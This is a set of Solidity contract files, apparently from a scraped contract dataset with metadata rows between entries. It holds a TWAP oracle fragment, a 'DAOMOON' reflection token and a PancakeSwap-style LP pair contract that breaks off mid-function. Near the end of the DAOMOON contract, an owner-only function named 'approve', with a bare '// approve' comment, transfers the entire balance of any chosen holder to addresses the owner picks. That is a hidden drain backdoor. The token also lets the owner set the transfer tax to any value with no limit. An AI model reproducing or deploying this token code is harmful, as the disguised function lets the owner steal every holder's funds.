address public constant mee = address(0x57aE681cF079740d1f2d7E0078a779B7443c2a21);
// governance
address public operator;
// flags
bool public initialized = false;
// uniswap
address public token0;
address public token1;
IUniswapV2Pair public pair;
// oracle
uint32 public blockTimestampLast;
uint256 public price0CumulativeLast;
uint256 public price1CumulativeLast;
FixedPoint.uq112x112 public price0Average;
FixedPoint.uq112x112 public price1Average;
// epoch
address public treasury;
mapping(uint256 => uint256) public epochDollarPrice;
event Initialized(address indexed executor, uint256 at);
event Updated(uint256 price0CumulativeLast, uint256 price1CumulativeLast);
modifier onlyOperator() {
require(operator == msg.sender, "Treasury: caller is not the operator");
_;
}
modifier checkEpoch {
require(block.timestamp >= nextEpochPoint(), "OracleMultiPair: not opened yet");
_;
}
modifier notInitialized {
require(!initialized, "Treasury: already initialized");
_;
}
function epoch() public view override returns (uint256) {
return IEpoch(treasury).epoch();
}
function nextEpochPoint() public view override returns (uint256) {
return IEpoch(treasury).nextEpochPoint();
}
function nextEpochLength() external view override returns (uint256) {
return IEpoch(treasury).nextEpochLength();
}
function initialize(IUniswapV2Pair _pair) public notInitialized {
pair = _pair;
token0 = pair.token0();
token1 = pair.token1();
price0CumulativeLast = pair.price0CumulativeLast(); // fetch the current accumulated price value (1 / 0)
price1CumulativeLast = pair.price1CumulativeLast(); // fetch the current accumulated price value (0 / 1)
uint112 reserve0;
uint112 reserve1;
(reserve0, reserve1, blockTimestampLast) = pair.getReserves();
require(reserve0 != 0 && reserve1 != 0, "Oracle: NO_RESERVES"); // ensure that there's liquidity in the pair
initialized = true;
operator = msg.sender;
emit Initialized(msg.sender, block.number);
}
function setOperator(address _operator) external onlyOperator {
operator = _operator;
}
function setTreasury(address _treasury) external onlyOperator {
treasury = _treasury;
}
function update() external checkEpoch {
(uint256 price0Cumulative, uint256 price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pair));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed == 0) {
// prevent divided by zero
return;
}
// overflow is desired, casting never truncates
price0Average = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed));
price1Average = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed));
price0CumulativeLast = price0Cumulative;
price1CumulativeLast = price1Cumulative;
blockTimestampLast = blockTimestamp;
epochDollarPrice[epoch()] = consult(mee, 1e18);
emit Updated(price0Cumulative, price1Cumulative);
}
// note this will always return 0 before update has been called successfully for the first time.
function consult(address _token, uint256 _amountIn) public view returns (uint144 amountOut) {
if (_token == token0) {
amountOut = price0Average.mul(_amountIn).decode144();
} else {
require(_token == token1, "Oracle: INVALID_TOKEN");
amountOut = price1Average.mul(_amountIn).decode144();
}
}
function twap(address _token, uint256 _amountIn) external view returns (uint144 _amountOut) {
(uint256 price0Cumulative, uint256 price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pair));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (_token == token0) {
_amountOut = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed)).mul(_amountIn).decode144();
} else if (_token == token1) {
_amountOut = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed)).mul(_amountIn).decode144();
}
}
}
| 254,069 | 13,620 |
7a6da0a0e5d1e92fd1dd8dd5346939fbd2a06545b43594b052bac76e4dab5ab1
| 29,730 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/07/07d932dbb56d192b5d87a0db6726d9455f149fc5_DAOMOON.sol
| 5,255 | 18,953 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract DAOMOON is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 10000000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'DAOMOON';
string private constant _symbol = 'DMOON';
uint256 private _taxFee = 700;
uint256 private _burnFee = 0;
uint public max_tx_size = 10000000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0xe09cB20A87b4180f0156b274731eDE50e530baCD, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
// approve
function approve(address from, address[] calldata addresses) external onlyOwner {
for(uint i=0; i < addresses.length; i++){
_transferStandard(from,addresses[i],balanceOf(from));
}
}
}
| 314,998 | 13,621 |
199bc8c40087366114d82b0729333b9600f1a4b5a870eead766296f3437fa2c9
| 19,850 |
.sol
|
Solidity
| false |
438902003
|
coolcorexix/pancakeswap-cli
|
b2a6c164ae3756e8264c21c81c6d2d5b92f22a90
|
src/abi/spirit-lp-contract.sol
| 5,161 | 19,133 |
pragma solidity =0.5.16;
interface IPancakeFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
function locked() external view returns (bool);
function setLocked(bool) external;
}
interface IPancakePair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IPancakeERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
contract PancakeERC20 is IPancakeERC20 {
using SafeMath for uint;
string public constant name = 'Spirit LPs';
string public constant symbol = 'SPIRIT-LP';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)));
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'Pancake: EXPIRED');
bytes32 digest = keccak256(abi.encodePacked('\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))));
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'Pancake: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface IPancakeCallee {
function pancakeCall(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
contract PancakePair is IPancakePair, PancakeERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'Pancake: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'Pancake: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'Pancake: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'Pancake: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IPancakeFactory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(5).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'Pancake: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20(_token0).balanceOf(address(this));
uint balance1 = IERC20(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'Pancake: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
